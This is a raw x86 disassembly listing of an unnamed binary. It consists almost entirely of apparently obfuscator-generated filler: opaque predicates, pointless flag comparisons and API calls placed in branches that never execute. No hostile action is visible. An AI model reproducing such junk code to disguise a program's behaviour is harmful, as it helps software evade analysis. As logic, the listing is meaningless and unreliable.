jmp 0x46d74e
and dword [ebp - 0x1d58], 0
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x1d58], eax
je 0x46d768
mov dword [ebp - 0xe28], 1
jmp 0x46d76f
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0xe28], eax
je 0x46d789
mov dword [ebp - 0x1d60], 1
jmp 0x46d790
and dword [ebp - 0x1d60], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x1d60], eax
jg 0x46d7a7
mov dword [ebp - 0xe30], 1
jmp 0x46d7ae
and dword [ebp - 0xe30], 0
mov eax, dword [ebp - 0xe30]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x2f5c], eax
cmp dword [ebp - 0xf0], 0xffffffff
jae 0x46d7d9
mov dword [ebp - 0x2610], 1
jmp 0x46d7e0
and dword [ebp - 0x2610], 0
cmp dword [ebp - 0xf0], 0x2c82f3c0
je 0x46d853
mov dword [ebp - 0xd0], 0
jmp 0x46d805
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jg 0x46d84e
mov dword [ebp - 0xf0], 0
jmp 0x46d827
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
jg 0x46d84c
mov eax, dword [ebp - 0xd0]
cmp dword [ebp + eax*4 - 0x26c], 0
je 0x46d842
jmp 0x46d84c
cmp dword [ebp - 0x64], 0
je 0x46d84a
jmp 0x46d84c
jmp 0x46d81a
jmp 0x46d7f8
jmp 0x46da4b
push 1
lea ecx, [ebp - 0x2220]
call fcn.00432b0d
mov dword [ebp - 0x64c], 0
jmp 0x46d879
mov eax, dword [ebp - 0x64c]
inc eax
mov dword [ebp - 0x64c], eax
cmp dword [ebp - 0x64c], 1
jge 0x46d898
push dword [ebp - 0x64c]
lea ecx, [ebp - 0x2220]
call fcn.00432bfb
and dword [eax], 0
jmp 0x46d86c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26c]
mov dword [ebp - 0x2f64], eax
push 0
lea ecx, [ebp - 0x2220]
call fcn.00432bfb
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jne 0x46d957
push 0
lea ecx, [ebp - 0x2220]
call fcn.00432bfb
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x26c]
cmp dword [eax], ecx
jl 0x46d8f1
mov dword [ebp - 0x1d68], 1
jmp 0x46d8f8
and dword [ebp - 0x1d68], 0
mov eax, dword [ebp - 0x1d68]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x2f6c], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x2f74], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26c]
mov dword [ebp - 0x2f7c], eax
push 4
pop eax
imul eax, eax, 0
imul esi, dword [ebp + eax - 0x26c], 0
push 0
lea ecx, [ebp - 0x2220]
call fcn.00432bfb
cmp esi, dword [eax]
jne 0x46d957
and dword [ebp - 0xe38], 0
jmp 0x46d961
mov dword [ebp - 0xe38], 1
push 0
lea ecx, [ebp - 0x2220]
call fcn.00432bfb
mov ecx, dword [ebp - 0xe38]
cmp ecx, dword [eax]
jl 0x46d98d
mov eax, 0xa6c9c6c2
test eax, eax
je 0x46d98d
mov dword [ebp - 0x1d70], 1
jmp 0x46d994
and dword [ebp - 0x1d70], 0
cmp dword [ebp - 0x1d70], 0xffffffff
ja 0x46d9a9
mov dword [ebp - 0xe40], 1
jmp 0x46d9b0
and dword [ebp - 0xe40], 0
cmp dword [ebp - 0xe40], 0
jle 0x46d9c5
mov dword [ebp - 0x2618], 1
jmp 0x46d9cc
and dword [ebp - 0x2618], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26c]
mov dword [ebp - 0x2f84], eax
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0x2620], eax
je 0x46d9f9
mov dword [ebp - 0x1d78], 1
jmp 0x46da00
and dword [ebp - 0x1d78], 0
push 0
lea ecx, [ebp - 0x2220]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1d78]
cmp ecx, dword [eax]
jg 0x46da23
mov dword [ebp - 0xe48], 1
jmp 0x46da2a
and dword [ebp - 0xe48], 0
mov eax, dword [ebp - 0xe48]
sub eax, 9
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x26c], eax
lea ecx, [ebp - 0x2220]
call fcn.00432bdf
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
mov esi, eax
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x46da79
mov dword [ebp - 0x1d98], 1
jmp 0x46da80
and dword [ebp - 0x1d98], 0
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
cmp dword [eax], 0
jne 0x46da9e
mov dword [ebp - 0x1d80], 1
jmp 0x46daa5
and dword [ebp - 0x1d80], 0
cmp dword [ebp - 0x1d80], 0x20b2
jl 0x46dabd
mov dword [ebp - 0x2628], 1
jmp 0x46dac4
and dword [ebp - 0x2628], 0
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
cmp dword [eax], 0
jae 0x46daf1
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
cmp dword [eax], 0
jne 0x46daf1
and dword [ebp - 0xe50], 0
jmp 0x46dafb
mov dword [ebp - 0xe50], 1
cmp dword [ebp - 0xe50], 0x796d
jle 0x46db13
mov dword [ebp - 0x1d88], 1
jmp 0x46db1a
and dword [ebp - 0x1d88], 0
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1d88]
cmp ecx, dword [eax]
jge 0x46db3d
mov dword [ebp - 0xe58], 1
jmp 0x46db44
and dword [ebp - 0xe58], 0
mov eax, dword [ebp - 0xe58]
inc eax
jne 0x46db59
mov dword [ebp - 0x1d90], 1
jmp 0x46db60
and dword [ebp - 0x1d90], 0
mov eax, dword [ebp - 0x1d90]
mov dword [ebp - 0xa08], eax
mov esi, dword [ebp - 0xa08]
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
cmp esi, dword [eax]
jle 0x46db8f
mov dword [ebp - 0x2630], 1
jmp 0x46db96
and dword [ebp - 0x2630], 0
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
cmp dword [eax], 0xd743ccc
jne 0x46dbc4
mov dword [ebp - 0xe60], 1
jmp 0x46dbcb
and dword [ebp - 0xe60], 0
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
mov ecx, dword [ebp - 0xe60]
cmp ecx, dword [eax]
jg 0x46dbee
mov dword [ebp - 0xe68], 1
jmp 0x46dbf5
and dword [ebp - 0xe68], 0
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1d98]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0xe68]
jle 0x46dc1e
mov dword [ebp - 0x1da0], 1
jmp 0x46dc25
and dword [ebp - 0x1da0], 0
mov eax, dword [ebp - 0x1da0]
mov dword [ebp - 0xe70], eax
cmp dword [ebp - 0xe70], 0
jne 0x46dc41
cmp dword [ebp - 0xa08], 0
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
cmp dword [eax], 6
je 0x46dc79
mov dword [ebp - 0x1da8], 1
jmp 0x46dc80
and dword [ebp - 0x1da8], 0
push 0
lea ecx, [ebp - 0x5d0]
call fcn.00432bfb
mov eax, dword [eax]
mov dword [ebp - 0x4c0], eax
mov eax, dword [ebp - 0x4c0]
sub eax, dword [ebp - 0x1da8]
mov dword [ebp - 0x2638], eax
mov dword [ebp - 0x4c0], 0
jmp 0x46dcc0
cmp dword [ebp - 0x4c0], 0x1a
jl 0x46ffbd
mov dword [ebp - 0x58], 0
push 3
lea ecx, [ebp - 0xc88]
call fcn.00432b0d
mov dword [ebp - 0x60], 0xffffffff
mov dword [ebp - 0xea8], 0x16747b1d
mov dword [ebp - 0xa10], 0x58b506ee
mov dword [ebp - 0x1ac], 0
jmp 0x46dd15
cmp dword [ebp - 0x1ac], 3
jge 0x46dd37
push dword [ebp - 0x1ac]
lea ecx, [ebp - 0xc88]
call fcn.00432bfb
mov dword [eax], 0x874b28ed
jmp 0x46dd08
mov dword [ebp - 0x1ac], 0
jmp 0x46dd50
lea ecx, [ebp - 0x3334]
call fcn.00432bdf
lea ecx, [ebp - 0x5d0]
call fcn.00432bdf
push 1
lea eax, [ebp - 0x3a04]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.00467543
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x38dc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x38dc]
lea edi, [ebp - 0x29b0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x130], 0x51c76d7b
mov dword [ebp - 0x1ff4], 0x33c
mov dword [ebp - 0x26f0], 0xfffffffc
mov dword [ebp - 0x828], 0
jmp 0x470039
cmp dword [ebp - 0x828], 2
jge 0x470055
mov eax, dword [ebp - 0x828]
mov dword [ebp + eax*4 - 0x2078], 0xffffffff
jmp 0x47002c
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x3054], eax
cmp dword [ebp - 0x130], 0
je 0x4700ae
cmp dword [ebp + 8], 1
jne 0x48328d
mov dword [ebp - 0x4cc], 0x69fdf99f
mov dword [ebp - 0x4cc], 0xfffffff4
jmp 0x479209
mov eax, dword [ebp - 0x4cc]
inc eax
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 0xfffffffa
jle 0x479239
mov byte [ebp - 0x2cd], 0
movzx eax, byte [ebp - 0x2cd]
test eax, eax
je 0x47922c
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
cmp dword [ebp - 0x4cc], 0
je 0x479237
jmp 0x479239
jmp 0x4791fc
push 1
lea ecx, [ebp - 0xbe8]
call fcn.00432b0d
mov dword [ebp - 0x424], 5
mov dword [ebp - 0x1ccc], 0
mov dword [ebp - 0x178c], 0x83a7ef23
mov dword [ebp - 0x1cd4], 1
mov dword [ebp - 0x618], 0
jmp 0x479287
mov eax, dword [ebp - 0x618]
inc eax
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 1
jge 0x4792a9
push dword [ebp - 0x618]
lea ecx, [ebp - 0xbe8]
call fcn.00432bfb
mov dword [eax], 0xa8ea
jmp 0x47927a
mov dword [ebp - 0x424], 0
jmp 0x4792c2
mov eax, dword [ebp - 0x424]
dec eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0
jl 0x479590
mov dword [ebp - 0x7d0], 0xfe77dd68
mov dword [ebp - 0x7cc], 0xfe77dd68
mov dword [ebp - 0x7c8], 0xfe77dd68
mov dword [ebp - 0x7c4], 0xfe77dd68
mov dword [ebp - 0x1784], 0xdfbc43c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x7d0], 0
jmp 0x47932f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7d0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7d0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7d0], 0
jl 0x47958b
mov dword [ebp - 0x1f6c], 0xd514faf1
mov dword [ebp - 0x1794], 0x1dba
mov dword [ebp - 0x25d8], 0x219909d0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7d0]
add eax, 0xc11
cmp eax, 0xffffffff
jne 0x479384
mov dword [ebp - 0x20a8], 1
jmp 0x47938b
and dword [ebp - 0x20a8], 0
push 0
lea ecx, [ebp - 0xbe8]
call fcn.00432bfb
mov eax, dword [eax]
cmp eax, dword [ebp - 0x20a8]
jge 0x4793ae
mov dword [ebp - 0x24b8], 1
jmp 0x4793b5
and dword [ebp - 0x24b8], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x7d0]
lea ecx, [ebp - 0xbe8]
call fcn.00432bfb
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x1784], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7d0]
cmp dword [ebp - 0x1784], eax
jg 0x4793f5
cmp dword [ebp - 0x1ccc], 0
mov eax, dword [ebp - 0x1ccc]
mov dword [ebp - 0x2f08], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x7d0]
lea ecx, [ebp - 0xbe8]
call fcn.00432bfb
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7d0]
mov dword [ebp - 0x32e8], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x7d0]
lea ecx, [ebp - 0xbe8]
call fcn.00432bfb
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x7d0]
lea ecx, [ebp - 0xbe8]
call fcn.00432bfb
mov eax, dword [eax]
mov dword [ebp - 0x178c], eax
mov eax, dword [ebp - 0x178c]
mov dword [ebp - 0x2f10], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x7d0]
lea ecx, [ebp - 0xbe8]
call fcn.00432bfb
mov eax, dword [eax]
mov dword [ebp - 0x1f6c], eax
mov eax, dword [ebp - 0x1f6c]
mov dword [ebp - 0x1794], eax
mov eax, dword [ebp - 0x1794]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x7d0]
mov dword [ebp - 0x1cd4], eax
mov esi, dword [ebp - 0x1cd4]
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x7d0]
lea ecx, [ebp - 0xbe8]
call fcn.00432bfb
cmp esi, dword [eax]
jl 0x4794e4
mov dword [ebp - 0x179c], 1
jmp 0x4794eb
and dword [ebp - 0x179c], 0
cmp dword [ebp - 0x179c], 0xefe0c237
jbe 0x479503
mov dword [ebp - 0x21e4], 1
jmp 0x47950a
and dword [ebp - 0x21e4], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x7d0]
lea ecx, [ebp - 0xbe8]
call fcn.00432bfb
mov eax, dword [eax]
cmp eax, dword [ebp - 0x21e4]
jg 0x479538
mov dword [ebp - 0x17a4], 1
jmp 0x47953f
and dword [ebp - 0x17a4], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x7d0]
add esi, dword [ebp - 0x17a4]
push dword [ebp - 0x424]
lea ecx, [ebp - 0xbe8]
call fcn.00432bfb
cmp esi, dword [eax]
jge 0x479573
mov dword [ebp - 0x1cdc], 1
jmp 0x47957a
and dword [ebp - 0x1cdc], 0
mov eax, dword [ebp - 0x1cdc]
mov dword [ebp - 0x25d8], eax
jmp 0x479314
jmp 0x4792b5
mov byte [ebp - 0x41a], 0
movzx eax, byte [ebp - 0x41a]
test eax, eax
je 0x4795aa
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
lea ecx, [ebp - 0xbe8]
call fcn.00432bdf
mov dword [ebp - 0x13c], 3
mov dword [ebp - 0x630], 0xab61b583
mov dword [ebp - 0x17ac], 8
mov dword [ebp - 0xf4], 5
push 4
lea ecx, [ebp - 0x298c]
call fcn.00432b0d
mov dword [ebp - 0xac8], 0xffffffff
push 1
lea ecx, [ebp - 0x2974]
call fcn.00432b0d
push 2
lea ecx, [ebp - 0x2e0c]
call fcn.00432b0d
mov dword [ebp - 0xb78], 0x93eb6b3e
mov dword [ebp - 0x25f0], 0xfffffffb
mov dword [ebp - 0x25f8], 0x281b62c3
mov dword [ebp - 0x50], 0
jmp 0x47963c
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x479652
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x22b0], 0x8f2b
jmp 0x479635
mov dword [ebp - 0x50], 0
jmp 0x479662
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x47967b
push dword [ebp - 0x50]
lea ecx, [ebp - 0x298c]
call fcn.00432bfb
and dword [eax], 0
jmp 0x47965b
mov dword [ebp - 0x50], 0
jmp 0x47968b
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x4796a7
push dword [ebp - 0x50]
lea ecx, [ebp - 0x2974]
call fcn.00432bfb
mov dword [eax], 0xc2fcec4e
jmp 0x479684
mov dword [ebp - 0x50], 0
jmp 0x4796b7
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x4796d3
push dword [ebp - 0x50]
lea ecx, [ebp - 0x2e0c]
call fcn.00432bfb
mov dword [eax], 0xafb12b2c
jmp 0x4796b0
cmp dword [ebp - 0x13c], 0
jne 0x479827
mov eax, dword [ebp - 0x630]
cmp dword [ebp - 0x13c], eax
jg 0x4796fa
mov dword [ebp - 0x1f74], 1
jmp 0x479701
and dword [ebp - 0x1f74], 0
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0x17ac], eax
mov eax, dword [ebp - 0x17ac]
cmp dword [ebp - 0x1f74], eax
jge 0x47972b
xor eax, eax
je 0x47972b
mov dword [ebp - 0x17b4], 1
jmp 0x479732
and dword [ebp - 0x17b4], 0
mov eax, dword [ebp - 0x630]
cmp dword [ebp - 0x17b4], eax
jl 0x47974c
mov dword [ebp - 0x1ce4], 1
jmp 0x479753
and dword [ebp - 0x1ce4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22b0]
cmp dword [ebp - 0x1ce4], eax
je 0x479774
mov dword [ebp - 0x17bc], 1
jmp 0x47977b
and dword [ebp - 0x17bc], 0
cmp dword [ebp - 0x17bc], 0x8172
jg 0x479793
mov dword [ebp - 0x20b0], 1
jmp 0x47979a
and dword [ebp - 0x20b0], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x20b0], eax
jne 0x4797bd
cmp dword [ebp - 0xf4], 0
je 0x4797bd
mov dword [ebp - 0x17c4], 1
jmp 0x4797c4
and dword [ebp - 0x17c4], 0
mov eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0x17c4]
jg 0x4797e7
cmp dword [ebp - 0xf4], 0
je 0x4797e7
mov dword [ebp - 0x1cec], 1
jmp 0x4797ee
and dword [ebp - 0x1cec], 0
cmp dword [ebp - 0x1cec], 0
jg 0x479803
mov dword [ebp - 0x17cc], 1
jmp 0x47980a
and dword [ebp - 0x17cc], 0
mov eax, dword [ebp - 0xf4]
add eax, dword [ebp - 0x17cc]
mov dword [ebp - 0xf4], eax
jne 0x479827
and dword [ebp - 0x1f7c], 0
jmp 0x479831
mov dword [ebp - 0x1f7c], 1
cmp dword [ebp - 0x1f7c], 1
jbe 0x479922
mov dword [ebp - 0x3640], 0x4ed09eb8
mov dword [ebp - 0x2f18], 0
mov dword [ebp - 0x32f8], 0
mov dword [ebp - 0x620], 0
jmp 0x479875
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 4
jge 0x479891
mov eax, dword [ebp - 0x620]
mov dword [ebp + eax*4 - 0x3a54], 0
jmp 0x479868
mov dword [ebp - 0xf4], 0xffffffec
jmp 0x4798aa
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0xffffffec
je 0x479910
mov dword [ebp - 0x24c0], 0xa191a83a
mov dword [ebp - 0x24c0], 0x702377d6
mov byte [ebp - 0x2c3], 0
movzx eax, byte [ebp - 0x2c3]
test eax, eax
je 0x47990e
push 0x2152
push 0x29b
push 0x167a
push 0xec8
push 0x2d9
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
jmp 0x47989d
mov eax, dword [ebp - 0xac8]
inc eax
mov dword [ebp - 0xac8], eax
jmp 0x479ad2
mov dword [ebp - 0xac0], 0xe92f
mov dword [ebp - 0x1cf4], 1
or dword [ebp - 0x2b70], 0xffffffff
or dword [ebp - 0x2b6c], 0xffffffff
or dword [ebp - 0x2b68], 0xffffffff
or dword [ebp - 0x2b64], 0xffffffff
lea ecx, [ebp - 0xbbd]
call fcn.00432c0a
push eax
lea eax, [ebp - 0x2b60]
push eax
lea eax, [ebp - 0x2b70]
push eax
lea ecx, [ebp - 0x3954]
call fcn.00432c0d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3424]
call fcn.00432bb9
mov dword [ebp - 0x24cc], 1
mov dword [ebp - 0x13c], 0
jmp 0x4799aa
mov eax, dword [ebp - 0x13c]
dec eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xfffffff3
jne 0x479ac7
mov dword [ebp - 0x628], 0
jmp 0x4799d0
mov eax, dword [ebp - 0x628]
inc eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 1
jge 0x4799ec
mov eax, dword [ebp - 0x628]
mov dword [ebp + eax*4 - 0x25e0], 0xf3a4
jmp 0x4799c3
mov dword [ebp - 0xac0], 0x33db9622
mov eax, dword [ebp - 0xac0]
mov dword [ebp - 0x2f20], eax
push 1
lea ecx, [ebp - 0x3424]
call fcn.00432bfb
mov ecx, dword [ebp - 0xac0]
cmp dword [eax], ecx
jne 0x479a25
mov dword [ebp - 0x17d4], 1
jmp 0x479a2c
and dword [ebp - 0x17d4], 0
cmp dword [ebp - 0x17d4], 0x3b9fe2
je 0x479a44
mov dword [ebp - 0xb80], 1
jmp 0x479a4b
and dword [ebp - 0xb80], 0
push 1
lea ecx, [ebp - 0x298c]
call fcn.00432bfb
mov ecx, dword [ebp - 0xb80]
mov dword [eax], ecx
cmp dword [ebp - 0xb80], 2
jge 0x479a75
mov dword [ebp - 0x17dc], 1
jmp 0x479a7c
and dword [ebp - 0x17dc], 0
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0x1cf4], eax
mov eax, dword [ebp - 0x1cf4]
sub eax, dword [ebp - 0x17dc]
push 4
pop ecx
imul ecx, ecx, 0
cmp dword [ebp + ecx - 0x25e0], eax
je 0x479aaf
mov dword [ebp - 0x2150], 1
jmp 0x479ab6
and dword [ebp - 0x2150], 0
mov eax, dword [ebp - 0x2150]
mov dword [ebp - 0x24cc], eax
jmp 0x47999d
lea ecx, [ebp - 0x3424]
call fcn.00432bdf
mov eax, dword [ebp - 0xb78]
dec eax
mov dword [ebp - 0xb78], eax
mov eax, dword [ebp - 0xac8]
cmp dword [ebp - 0xb78], eax
jle 0x479af9
mov dword [ebp - 0xad0], 1
jmp 0x479b00
and dword [ebp - 0xad0], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x22b0], 7
jae 0x479b1c
mov dword [ebp - 0x25e8], 1
jmp 0x479b23
and dword [ebp - 0x25e8], 0
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x37c0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22b0]
mov dword [ebp - 0x17e4], eax
push 0
lea ecx, [ebp - 0x2e0c]
call fcn.00432bfb
mov ecx, dword [ebp - 0x17e4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x17e4], eax
jge 0x479b71
mov dword [ebp - 0x24d8], 1
jmp 0x479b78
and dword [ebp - 0x24d8], 0
push 0
lea ecx, [ebp - 0x2974]
call fcn.00432bfb
push 0
lea ecx, [ebp - 0x2974]
call fcn.00432bfb
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22b0]
cmp dword [ebp - 0x25f0], eax
jne 0x479bb3
mov dword [ebp - 0x1cfc], 1
jmp 0x479bba
and dword [ebp - 0x1cfc], 0
push 1
lea ecx, [ebp - 0x298c]
call fcn.00432bfb
mov ecx, dword [ebp - 0xad0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1cfc]
sub eax, dword [ebp - 0xf4]
cmp dword [ebp - 0xad0], eax
jle 0x479bef
mov dword [ebp - 0x17ec], 1
jmp 0x479bf6
and dword [ebp - 0x17ec], 0
mov eax, dword [ebp - 0x17ec]
sub eax, dword [ebp - 0x25f8]
cmp eax, 0xee192ef5
jne 0x479c15
mov dword [ebp - 0x1f84], 1
jmp 0x479c1c
and dword [ebp - 0x1f84], 0
mov eax, dword [ebp - 0x1f84]
add eax, 5
mov dword [ebp - 0xf4], eax
lea ecx, [ebp - 0x2e0c]
call fcn.00432bdf
lea ecx, [ebp - 0x2974]
call fcn.00432bdf
lea ecx, [ebp - 0x298c]
call fcn.00432bdf
mov dword [ebp - 0x540], 0x69fdf99f
mov dword [ebp - 0x260], 0x25260
mov dword [ebp - 0xb88], 0x7cd95da2
push 3
lea ecx, [ebp - 0x29a4]
call fcn.00432b0d
mov dword [ebp - 0x24e4], 0x85ea6eda
mov dword [ebp - 0x17fc], 0x51ae9a07
mov dword [ebp - 0x2858], 0xfbebf0a0
mov dword [ebp - 0x638], 0
jmp 0x479cae
mov eax, dword [ebp - 0x638]
inc eax
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 3
jge 0x479cd0
push dword [ebp - 0x638]
lea ecx, [ebp - 0x29a4]
call fcn.00432bfb
mov dword [eax], 0xc7b7f609
jmp 0x479ca1
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0xb88], eax
mov eax, dword [ebp - 0xb88]
mov dword [ebp - 0x17f4], eax
push 1
lea ecx, [ebp - 0x29a4]
call fcn.00432bfb
mov ecx, dword [ebp - 0x17f4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x17f4]
mov dword [ebp - 0x24e4], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x1d04], eax
push 1
lea ecx, [ebp - 0x29a4]
call fcn.00432bfb
mov ecx, dword [ebp - 0x1d04]
mov dword [eax], ecx
mov eax, dword [ebp - 0x260]
cmp eax, dword [ebp - 0x1d04]
jg 0x479d44
mov dword [ebp - 0x26ec], 1
jmp 0x479d4b
and dword [ebp - 0x26ec], 0
cmp dword [ebp - 0x260], 0x4bda
jne 0x479d63
mov dword [ebp - 0x24ec], 1
jmp 0x479d6a
and dword [ebp - 0x24ec], 0
mov eax, dword [ebp - 0xb88]
mov dword [ebp - 0x17fc], eax
cmp dword [ebp - 0x17fc], 7
jne 0x479d8b
mov dword [ebp - 0x20b8], 1
jmp 0x479d92
and dword [ebp - 0x20b8], 0
mov eax, dword [ebp - 0x260]
imul eax, dword [ebp - 0x20b8]
test eax, eax
jne 0x479db5
mov eax, 0x6b34
test eax, eax
jne 0x479db5
and dword [ebp - 0x1804], 0
jmp 0x479dbf
mov dword [ebp - 0x1804], 1
mov eax, dword [ebp - 0x1804]
sub eax, 3
jne 0x479dd7
xor eax, eax
jne 0x479dd7
and dword [ebp - 0x1d0c], 0
jmp 0x479de1
mov dword [ebp - 0x1d0c], 1
mov eax, dword [ebp - 0x260]
cmp eax, dword [ebp - 0x1d0c]
je 0x479dfb
mov dword [ebp - 0x180c], 1
jmp 0x479e02
and dword [ebp - 0x180c], 0
mov eax, dword [ebp - 0x260]
cmp dword [ebp - 0x180c], eax
jle 0x479e1c
mov dword [ebp - 0x1f8c], 1
jmp 0x479e23
and dword [ebp - 0x1f8c], 0
mov eax, dword [ebp - 0x260]
cmp dword [ebp - 0x1f8c], eax
jl 0x479e3d
mov dword [ebp - 0x1814], 1
jmp 0x479e44
and dword [ebp - 0x1814], 0
mov eax, dword [ebp - 0x1814]
mov dword [ebp - 0x2858], eax
lea ecx, [ebp - 0x29a4]
call fcn.00432bdf
mov dword [ebp - 0x540], 0xfffffff4
jmp 0x479e74
mov eax, dword [ebp - 0x540]
inc eax
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0xfffffffa
jle 0x47a66e
mov dword [ebp - 0x538], 0x69fdf99f
mov dword [ebp - 0x538], 0xfffffff4
jmp 0x479ea4
mov eax, dword [ebp - 0x538]
inc eax
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 0xfffffffa
jle 0x479ed4
mov byte [ebp - 0x410], 0
movzx eax, byte [ebp - 0x410]
test eax, eax
je 0x479ec7
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
cmp dword [ebp - 0x538], 0
je 0x479ed2
jmp 0x479ed4
jmp 0x479e97
mov dword [ebp - 0xfc], 0xffffffff
mov dword [ebp - 0x26f4], 0
cmp dword [ebp - 0xfc], 0
je 0x479fda
mov dword [ebp - 0xad8], 0x715cc48b
mov dword [ebp - 0xfc], 0xfffffff2
jmp 0x479f18
mov eax, dword [ebp - 0xfc]
dec eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0xffffffed
je 0x479fd8
mov dword [ebp - 0x640], 0xfffc
mov eax, dword [ebp - 0x640]
cmp dword [ebp - 0x640], eax
jg 0x479f49
mov dword [ebp - 0x1d14], 1
jmp 0x479f50
and dword [ebp - 0x1d14], 0
mov eax, dword [ebp - 0xad8]
